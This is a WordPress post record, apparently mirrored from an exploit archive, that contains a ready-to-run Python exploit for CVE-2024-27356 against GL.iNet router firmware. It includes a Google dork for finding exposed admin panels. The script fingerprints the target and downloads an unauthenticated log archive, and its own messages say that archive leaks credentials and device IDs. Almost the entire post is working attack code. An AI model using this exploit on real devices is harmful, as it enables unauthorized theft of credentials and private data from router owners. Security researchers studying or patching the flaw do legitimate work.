{"id":55786,"date":"2024-04-03T00:00:07","date_gmt":"2024-04-02T20:00:07","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177886\/glinetmt6000455-download.txt"},"modified":"2024-04-03T00:00:07","modified_gmt":"2024-04-02T20:00:07","slug":"gl-inet-mt6000-4-5-5-arbitrary-file-download","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gl-inet-mt6000-4-5-5-arbitrary-file-download\/","title":{"rendered":"GL-iNet MT6000 4.5.5 Arbitrary File Download"},"content":{"rendered":"<p># Exploit Title: GL-iNet MT6000 4.5.5 &#8211; Arbitrary File Download<br \/># CVE: CVE-2024-27356<br \/># Google Dork: intitle:&#8221;GL.iNet Admin Panel&#8221;<br \/># Date: 2\/26\/2024<br \/># Exploit Author: Bandar Alharbi (aggressor)<br \/># Vendor Homepage: www.gl-inet.com<br \/># Tested Software Link: https:\/\/fw.gl-inet.com\/firmware\/x3000\/release\/openwrt-x3000-4.0-0406release1-0123-1705996441.bin<br \/># Tested Model: GL-X3000 Spitz AX<br \/># Affected Products and Firmware Versions: https:\/\/github.com\/gl-inet\/CVE-issues\/blob\/main\/4.0.0\/Download_file_vulnerability.md<\/p>\n<p>import sys<br \/>import requests<br \/>import json<br \/>requests.packages.urllib3.disable_warnings()<br \/>h = {&#8216;Content-type&#8217;:&#8217;application\/json;charset=utf-8&#8242;, &#8216;User-Agent&#8217;:&#8217;Mozilla\/5.0 (compatible;contxbot\/1.0)&#8217;}<\/p>\n<p>def DoesTarExist():<br \/>r = requests.get(url+&#8221;\/js\/logread.tar&#8221;, verify=False, timeout=30, headers=h)<br \/>if r.status_code == 200:<br \/>f = open(&#8220;logread.tar&#8221;, &#8220;wb&#8221;)<br \/>f.write(r.content)<br \/>f.close()<br \/>print(&#8220;[*] Full logs archive `logread.tar` has been downloaded!&#8221;)<br \/>print(&#8220;[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!&#8221;)<br \/>return True<br \/>else:<br \/>print(&#8220;[*] The `logread.tar` archive does not exist however &#8230; try again later!&#8221;)<br \/>return False<\/p>\n<p>def isVulnerable():<br \/>r1 = requests.post(url+&#8221;\/rpc&#8221;, verify=False, timeout=30, headers=h)<br \/>if r1.status_code == 500 and &#8220;nginx&#8221; in r1.text:<br \/>r2 = requests.get(url+&#8221;\/views\/gl-sdk4-ui-login.common.js&#8221;, verify=False, timeout=30, headers=h)<br \/>if &#8220;Admin-Token&#8221; in r2.text:<br \/>j = {&#8220;jsonrpc&#8221;:&#8221;2.0&#8243;,&#8221;id&#8221;:1,&#8221;method&#8221;:&#8221;call&#8221;,&#8221;params&#8221;:[&#8220;&#8221;,&#8221;ui&#8221;,&#8221;check_initialized&#8221;]}<br \/>r3 = requests.post(url+&#8221;\/rpc&#8221;, verify=False, json=j, timeout=30, headers=h)<br \/>ver = r3.json()[&#8216;result&#8217;][&#8216;firmware_version&#8217;]model = r3.json()[&#8216;result&#8217;][&#8216;model&#8217;]if ver.startswith((&#8216;4.&#8217;)):<br \/>print(&#8220;[*] Firmware version (%s) is vulnerable!&#8221; %ver)<br \/>print(&#8220;[*] Device model is: %s&#8221; %model)<br \/>return True<br \/>print(&#8220;[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!&#8221;)<br \/>return False<\/p>\n<p>def isAlive():<br \/>try:<br \/>r = requests.get(url, verify=False, timeout=30, headers=h)<br \/>if r.status_code != 200:<br \/>print(&#8220;[*] Make sure the target&#8217;s web interface is accessible!&#8221;)<br \/>return False<br \/>elif r.status_code == 200:<br \/>print(&#8220;[*] The target is reachable!&#8221;)<br \/>return True<br \/>except Exception:<br \/>print(&#8220;[*] Error occurred when connecting to the target!&#8221;)<br \/>pass<br \/>return False<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>if len(sys.argv) != 2:<br \/>print(&#8220;exploit.py url&#8221;)<br \/>sys.exit(0)<br \/>url = sys.argv[1]url = url.lower()<br \/>if not url.startswith((&#8216;http:\/\/&#8217;, &#8216;https:\/\/&#8217;)):<br \/>print(&#8220;[*] Invalid url format! It should be http[s]:\/\/&lt;domain or ip&gt;&#8221;)<br \/>sys.exit(0)<br \/>if url.endswith(&#8220;\/&#8221;):<br \/>url = url.rstrip(&#8220;\/&#8221;)<\/p>\n<p>print(&#8220;[*] GL.iNet Unauthenticated Full Logs Downloader&#8221;)<\/p>\n<p>try:<br \/>if (isAlive() and isVulnerable()) == (True and True):<br \/>DoesTarExist()<br \/>except KeyboardInterrupt:<br \/>print(&#8220;[*] The exploit has been stopped by the user!&#8221;)<br \/>sys.exit(0)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: GL-iNet MT6000 4.5.5 &#8211; Arbitrary File Download# CVE: CVE-2024-27356# Google Dork: intitle:&#8221;GL.iNet Admin Panel&#8221;# Date: 2\/26\/2024# Exploit Author: Bandar Alharbi (aggressor)# Vendor Homepage: www.gl-inet.com# Tested Software Link: https:\/\/fw.gl-inet.com\/firmware\/x3000\/release\/openwrt-x3000-4.0-0406release1-0123-1705996441.bin# Tested Model: GL-X3000 Spitz AX# Affected Products and Firmware Versions: https:\/\/github.com\/gl-inet\/CVE-issues\/blob\/main\/4.0.0\/Download_file_vulnerability.md import sysimport requestsimport jsonrequests.packages.urllib3.disable_warnings()h = {&#8216;Content-type&#8217;:&#8217;application\/json;charset=utf-8&#8242;, &#8216;User-Agent&#8217;:&#8217;Mozilla\/5.0 (compatible;contxbot\/1.0)&#8217;} def DoesTarExist():r = requests.get(url+&#8221;\/js\/logread.tar&#8221;, verify=False, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55786","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55786","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55786"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55786\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55786"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55786"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55786"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}